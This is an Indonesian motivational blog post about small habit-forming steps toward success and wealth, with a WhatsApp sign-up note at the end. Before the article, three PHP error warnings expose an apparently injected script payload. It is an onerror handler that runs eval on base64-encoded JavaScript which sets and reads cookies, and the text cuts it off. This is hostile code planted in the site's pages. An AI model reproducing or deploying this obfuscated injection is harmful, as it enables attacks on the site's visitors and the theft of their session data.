A Tiny Steps : Sebuah Kunci Perubahan Perilaku

By | February 28, 2018

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/themes/iconic-one/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAg in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/themes/iconic-one/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAg in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/public/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZ in /home/mengajim/public_html/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Seringkali kita mendengar jargon-jargon para motivator berteriak lakukan MASSIVE ACTION buat merubah nasib hidupmu. Ini jelas sebuah kesalahan. Mengapa?

Pada dasarnya manusia itu malas. Malas bergerak, malas melakukan action. Itulah sebabnya resolusi di awal tahun seringkali hanya menjadi wacana ketimbang menjadi strategi yang sarat dengan action. Rencana-rencana dahsyat tentang perubahan itu lenyap ditelan badai. Ibarat sebuah lukisan di atas pasir. Seindah apapun lukisan itu akhirnya lenyap disapu deburan ombak.

Sebuah riset pernah dilakukan oleh tim ekonomi dari Stanford University. Mereka menemukan sebuah fakta yang mengejutkan bahwa : peluang keberhasilan orang-orang biasa untuk naik kelas menjadi orang kaya hanyalah 7%. Sisanya yang 93% gugur di tengah jalan.

Ada tiga elemen krusial untuk meraih kebebasan finansial yaitu kompetensi (skill), kreatifitas dan daya resiliensi.

Kompetensi yang mumpuni adalah pilar buat meraih kebebasan finansial. Kalau saja skill-mu masih abal-abal dalam bidang yang kamu tekuni siap-siap saja rezekimu bakal dipatok ayam. Kamu bisa kesalip sama mereka yang jauh lebih mumpuni dari kamu. Memiliki skill yang ajib menjadi wajib buat merubah tangga kehidupan menuju kekayaan yang HQQ. 😀

Selain skill, kreatifitasmu pun diuji. Skill yang memadai kalau tidak dikemas secara kreatif juga kurang cetar. Supaya lebih cetar pikiranmu harus memiliki cara yang kreatif agar skill-mu bisa menjadi nilai jual. Kreatifitas juga bisa berarti tentang menyiasati segala tantangan di lapangan agar menjadi peluang. Menjadi kaya itu tidak mudah. Pasti banyak halangannya. Maka kreatifitas dalam mengelola tantangan menjadi peluang mutlak kamu punyai demi menghadapi persaingan yang kian sengit ini.

Elemen terakhir ialah daya resiliensi. Resiliensi atau kelenturan ibarat sebuah karet gelang yang ditarik namun karena kelenturannya dia tidak serta merta langsung putus. Dia lentur mengikuti arah tarikan. Seketika tarikan itu dilepaskan maka dia kembali ke bentuk semula. Itulah resiliensi. Kelenturan menghadapi masalah. Masalah yang dihadapi disikapi dengan berani, unik dan mampu menyesuaikan diri. Segala masalah dihadapi dengan bijak.

Memang riset di atas belum pernah dilakukan di negeri ini. Namun jumlahnya pasti tidak akan jauh beda. Di Denmark dan Inggris saja ditemukan hal yang sama.  Di Inggris 91% anak mudanya gagal mencapai impian kekayaan. Sedangkan di Denmark dengan angka yang relatif tidak jauh yaitu 89% anak muda mereka kandas di tengah jalan buat meraih kekayaan.

Lantas bila kekayaan sangat sulit diraih, apakah kita tidak bisa mencapainya? Jawabannya sangat BISA. Ingat ketiga elemen tadi. Skill, kreatifitas dan resiliensi. Ketiga-tiganya harus secara tekun kamu pelihara dan tingkatkan agar memiliki nilai jual beli.

Kabarnya, dahulu setelah bom atom meluluhlantakkan kota Hiroshima dan Nagasaki rakyat Jepang sempat berputus asa akan keinginannya menggapai masa depan. Sebuah fakta tersaji di hadapan mereka hanyalah sekedar puing-puing harapan yang tersisa. Masa depan mereka hancur lebur.

Namun fakta hari ini kita temui, ketiga elemen krusial mendarah daging di setiap hati sanubari mereka. Mereka bangkit dengan tekad yang sama. Yaitu ingin memperbaiki kehidupan mereka. Daya reliensi yang tangguh mengantarkan skill dan kreatifitas mereka menciptakan produk-produk berkelas dunia. Otomotif, barang elektronik dan produk hi-tech lainnya membanjiri pasar negeri ini. Bahkan negara lainnya.

Tentu saja negeri Sakura yang mapan teknologi itu tidak serta merta menjadi sekarang ini tanpa melalui proses. Ada rahasia tersembunyi dibalik kejayaan teknologi mereka. Yaitu a tiny steps. Langkah-langkah kecil yang dirangkai penuh kesabaran, penuh ketekunan. Langkah-langkah kecil yang menjadi nafas kemajuan mereka.

Dari langkah kecil itu bermula kemajuan. Alih-alih berkhayal lari 10 KM tiap minggu. Langkah kecil akan memulainya dengan berjalan keliling komplek tiap hari selama 5 menit. Ingat, pada dasarnya manusia itu malas bergerak. Memaksakan lari 10 KM padahal belum terbiasa ibarat mendorong mobil yang sedang mogok. Anda butuh kekuatan yang ekstra dahsyat buat mendorongnya. Sedangkan berjalan santai keliling komplek ibarat Anda menyalakan kendaraan dengan kecepatan 10 KM/jam. Sangat lambat tapi pasti.

Meminta orang yang malas bergerak untuk melakukan massive action menurut riset biasanya akan berakhir dengan kegagalan.

Sebuah penelitian tentang behaviour atau perilaku menemukan : Anda akan sukses merubah perilaku jika memulainya dengan small action. Lakukan sebuah action yang kecil saja dulu. Action yang so simple buat dilakukan. Mengapa harus dimulai dengan small action? Ingat pada dasarnya manusia malas bergerak. Untuk melawan kemalasan yang mengendap di sekujur ragamu maka langkah kecil sangat mungkin dilakukan.

Alih-alih ingin membaca buku 3 atau 4 buku per minggu. Mulailah dengan baca buku 1 halaman saja tiap hari. Setiap ba’da maghrib. Kelak bila sudah terbiasa membaca satu halaman per hari (one day one page) maka baca buku 3 atau 4 biji per minggu bukanlah hal yang sulit.

Demikianlah sebuah kata yang layak diingat dalam kisah perjalanan hidup kita : a tiny steps. Langkah-langkah kecil yang akan membawa pada perubahan besar.

Photo by Farrel Nobel on Unsplash

NOTE :
Mau update artikel-artikel mencerahkan melalui smartphone seperti yang barusan Anda baca? Langsung saja save + invite nomor WA saya di 0856 9974 568. Bagi yang invite saya akan bagikan BONUS sebuah free ebook atau audiobook. TINGGAL PILIH. Dua-duanya keren koq.

5 thoughts on “A Tiny Steps : Sebuah Kunci Perubahan Perilaku

Leave a Reply

Your email address will not be published. Required fields are marked *